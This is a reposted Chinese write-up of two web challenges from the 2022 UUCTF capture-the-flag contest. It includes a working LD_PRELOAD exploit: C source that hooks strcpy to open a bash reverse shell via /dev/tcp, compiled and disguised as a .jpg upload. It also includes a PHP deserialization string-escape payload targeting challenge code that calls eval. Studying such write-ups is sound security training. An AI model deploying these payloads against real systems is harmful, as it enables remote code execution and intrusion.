2022UUCTF--WEB( 三 )


2022UUCTF--WEB

文章插图
那么问题又来了 我们上传了so文件,怎么才能触发动态链接库的函数?可以看到下面有一个system函数,本地测试可以发现,system会调用/bin/sh
2022UUCTF--WEB

文章插图
所以我们写一个exp.c
#include <stdlib.h>#include <stdio.h>#include <string.h>void payload() {//反弹shellsystem("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'");}char *strcpy (char *__restrict __dest, const char *__restrict __src) {if (getenv("LD_PRELOAD") == NULL) {return 0;}unsetenv("LD_PRELOAD");payload();}编译成so文件 然后修改后缀为jpg
gcc -shared -fPIC exp.c -o exp.so在upload/upload.php上传
2022UUCTF--WEB

文章插图
然后在主页面访问,根据源码我们传递upload/exp_shell.jpg给image_path
//设置环境变量的值 添加 setting 到服务器环境变量 。环境变量仅存活于当前请求期间 。在请求结束时环境会恢复到初始状态 设置.soLD_PRELOAD设置的优先加载动态链接库putenv("LD_PRELOAD=/var/www/html/$img_path");// 执行函数 就会优先到我们LD_PRELOAD的指向的函数 反弹shellsystem("echo Success to load");
要先在攻击机上监听端口
2022UUCTF--WEB

文章插图
反弹shell成功
2022UUCTF--WEB

文章插图
输出flag
2022UUCTF--WEB

文章插图
ezpop -- 字符串逃逸打开题目给出的就是源码
//flag in flag.phperror_reporting(0);class UUCTF{public $name,$key,$basedata,$ob;function __construct($str){$this->name=$str;}function __wakeup(){if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}else{die("oh!you should learn PHP unserialize String escape!");}}}class output{public $a;function __toString(){$this->a->rce();}}class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){$this->b=$this->t;die($this->a);}}class youwant{public $cmd;function rce(){eval($this->cmd);}}$pdata=https://www.huyubaike.com/biancheng/$_POST["data"];if(isset($pdata)){$data=https://www.huyubaike.com/biancheng/serialize(new UUCTF($pdata));$data_replace=str_replace("hacker","loveuu!",$data);unserialize($data_replace);}else{highlight_file(__FILE__);}?>考点就是字符串逃逸,刚开始直接序列化UUCTF类,经过替换之后5字符变6字符,我们没有给$this->key直接赋值但是要求是UUCTF才可以继续下去,所以通过字符串逃逸间接给key赋值
if($this->key==="UUCTF"){$this->ob=unserialize(base64_decode($this->basedata));}我们在本地一步一步测试
首先随便输入根据输出构造,测试发现进入了我们的目标
O:5:"UUCTF":4:{s:4:"name";s:"1";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}O:5:"UUCTF":4:{s:4:"name";s:" ";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;} ";s:3:"key";N;s:8:"basedata";N;s:2:"ob";N;}hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:3:"key";s:5:"UUCTF";s:8:"basedata";N;s:2:"ob";N;}
2022UUCTF--WEB

文章插图
然后构造执行命令的那块POC
class output{public $a;function __toString(){//1、调用目的函数__toString 对象实例被当作字符串处理调用$this->a->rce();}}class nothing{public $a;public $b;public $t;function __wakeup(){$this->a="";}function __destruct(){//2.要绕过__wakeup 但是这里php版本是7.2.34 不能利用多写参数绕过 我们还是利用引用绕过$this->b=$this->t;// 这里返回的是字符串die($this->a);}}class youwant{public $cmd;function rce(){// 终点eval($this->cmd);}}

经验总结扩展阅读